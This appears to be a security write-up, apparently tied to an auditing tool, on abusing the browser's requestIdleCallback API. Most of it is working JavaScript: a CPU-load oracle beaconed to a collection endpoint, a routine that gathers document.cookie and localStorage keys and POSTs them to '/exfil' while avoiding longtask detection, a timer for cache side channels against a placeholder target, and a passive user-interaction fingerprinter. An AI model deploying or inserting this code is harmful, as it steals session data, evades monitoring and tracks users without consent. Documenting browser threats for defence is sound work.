MCP server requestIdleCallback timing security — IdleDeadline CPU load oracle, background exfiltration escaping longtask detection, precision async timer, interaction pattern fingerprint

IdleDeadline.timeRemaining() as a CPU scheduler load oracle

The timeRemaining() value reveals how much idle time the browser estimates remains in the current idle period. When the system is under load — other tabs animating, heavy JavaScript executing in background tabs, intensive OS processes running — the browser has shorter idle periods and timeRemaining() returns near-zero values. When the system is idle, timeRemaining() returns values up to 50ms (the browser's default maximum idle period budget). Sampling timeRemaining() across multiple consecutive idle callbacks builds a time-series of CPU scheduler load state — revealing whether other tabs are doing intensive work, whether the user is interacting (reducing idle period frequency), and the general system load profile.

// CPU load oracle via IdleDeadline.timeRemaining() sampling

const loadSamples = [];

function sampleCPULoad(deadline) {
  // Record the remaining idle time at callback start
  const remainingMs = deadline.timeRemaining();
  const timestamp = performance.now();

  loadSamples.push({ remainingMs, timestamp });

  // Interpretation:
  // remainingMs > 40ms → system idle, main thread free (< 20% CPU usage estimate)
  // remainingMs 10-40ms → moderate load (20-80%)
  // remainingMs < 10ms → high load (> 80%) — other tabs animating/computing

  // After 30 samples (~30 seconds of sampling):
  if (loadSamples.length >= 30) {
    const avgRemaining = loadSamples.reduce((s, x) => s + x.remainingMs, 0) / 30;
    const idleGapMs = loadSamples.slice(-1)[0].timestamp - loadSamples[0].timestamp;

    // idleGapMs >> 30000ms → idle callbacks were delayed → high load during gap
    // avgRemaining < 10ms → consistently high CPU → heavy background tab activity

    sendBeacon('/collect', JSON.stringify({
      cpuLoadProfile: avgRemaining,
      samplingDuration: idleGapMs,
      tabActivityInferred: avgRemaining < 15 ? 'high' : 'low'
    }));
    return;  // stop sampling
  }

  // Re-queue for next idle period
  requestIdleCallback(sampleCPULoad, { timeout: 5000 });
}

// Start sampling — no permission required
requestIdleCallback(sampleCPULoad, { timeout: 5000 });

Background exfiltration in idle callbacks — escaping longtask detection

Idle callbacks run in the main thread's idle period — after all pending frame rendering work is complete. A PerformanceObserver watching for longtask entries fires when a task runs for more than 50ms. Idle callback invocations by the browser do not count toward longtask duration in the way that normal task queue entries do — a fetch() initiated inside an idle callback does not produce a longtask entry even if the surrounding idle work takes significant time, because the network fetch itself is handled off the main thread. An attacker can use idle callbacks to schedule network exfiltration at times when the main thread is demonstrably idle — reducing the likelihood that performance monitoring tools detect an anomalous longtask.

// Exfiltration in idle callback — avoids longtask PerformanceObserver detection
// The fetch() itself is async (off main thread); the idle callback returns quickly

function idleExfiltrate(deadline) {
  if (deadline.timeRemaining() < 5) {
    // Too little idle time — reschedule for next idle period
    requestIdleCallback(idleExfiltrate, { timeout: 10000 });
    return;
  }

  // Collect data quickly while idle time allows
  const payload = {
    cookies: document.cookie,
    localStorageKeys: Object.keys(localStorage),
    sessionStorage: sessionStorage.length,
    timing: performance.now()
  };

  // Initiate the network request — this is async and does NOT consume main thread time
  // A longtask observer will NOT see this fetch() as contributing to a longtask
  fetch('/exfil', {
    method: 'POST',
    body: JSON.stringify(payload),
    keepalive: true  // survives tab close
  });

  // Reschedule for next idle period to continue sampling
  requestIdleCallback(idleExfiltrate, { timeout: 30000 });
}

requestIdleCallback(idleExfiltrate, { timeout: 5000 });

timeout parameter as a precision async timer

The timeout option to requestIdleCallback(callback, { timeout: N }) specifies that if the callback has not been invoked after N milliseconds, the browser must invoke it immediately — even if the main thread is not idle. This creates a guaranteed minimum delay: the callback fires at either the next idle period (if one occurs before the timeout) or at approximately N milliseconds after the call. Unlike setTimeout(fn, N), which may be throttled to 1-second minimum intervals in background tabs (Chrome's background timer throttling policy), requestIdleCallback with a timeout is less consistently throttled in background tab contexts in some Chrome versions. This makes it a useful precision timer alternative in contexts where setTimeout minimum intervals would otherwise limit attack resolution.

// requestIdleCallback timeout as precision async timer
// Less affected by Chrome background tab timer throttling than setTimeout

function precisionDelay(ms) {
  return new Promise(resolve => {
    // In foreground tab: fires at ms ± idle period start time (typically < 50ms variance)
    // In background tab: Chrome throttles setTimeout to 1000ms minimum;
    // requestIdleCallback timeout enforcement is less consistently throttled
    requestIdleCallback(() => resolve(performance.now()), { timeout: ms });
  });
}

// Use as a timing primitive for cache side-channel attacks that require
// specific inter-probe delays (e.g., 10ms, 25ms, 50ms probe intervals)
// where setTimeout would be rounded to 1000ms in background tab execution

async function cacheSidechannel() {
  await precisionDelay(25);   // 25ms between cache state probes
  const t1 = performance.now();
  probeCache('https://target.example.com/resource');
  await precisionDelay(25);
  const t2 = performance.now();
  // Compare t2-t1 to expected 25ms — deviation indicates cache contention
}

Idle callback schedule as user interaction fingerprint

The frequency and timing of idle callback invocations directly encodes user interaction state. When the user is actively interacting with the page (scrolling, typing, clicking), the main thread processes input events continuously, reducing idle period frequency. When the user stops interacting, the browser generates longer idle periods. The pattern of idle callback invocations — their spacing, their timeRemaining() values, and whether they fire on deadline or on idle — reveals the user's interaction timeline: when they started reading, when they stopped, how long they were away, and when they returned. This is a passive behavioral fingerprint requiring no user gesture or permission.

// User interaction timeline reconstruction via idle callback schedule

const timeline = [];
let lastCallbackTime = performance.now();

function trackInteraction(deadline) {
  const now = performance.now();
  const gapMs = now - lastCallbackTime;
  lastCallbackTime = now;

  timeline.push({
    time: now,
    gapMs,          // time since last idle callback
    remainingMs: deadline.timeRemaining(),
    // Interpretation:
    // Short gap (< 200ms) + low remaining → user was actively interacting
    // Long gap (> 2000ms) + high remaining → user was away or reading static content
    // Very long gap (> 60000ms) → user left the tab or locked screen
    didTimeout: deadline.didTimeout  // true = timeout forced it, not genuine idle
  });

  // Re-queue immediately with short timeout for continuous tracking
  requestIdleCallback(trackInteraction, { timeout: 30000 });
}

requestIdleCallback(trackInteraction, { timeout: 5000 });

// After tracking for 5+ minutes, exfiltrate the timeline:
// idle callback gaps > 2s + no didTimeout → reading phase
// frequent callbacks with low remaining → scrolling/clicking phase
// long gaps with didTimeout=true → absent (tab in background)
// This reconstructs a per-user behavioral profile without any permission

SkillAudit findings for requestIdleCallback misuse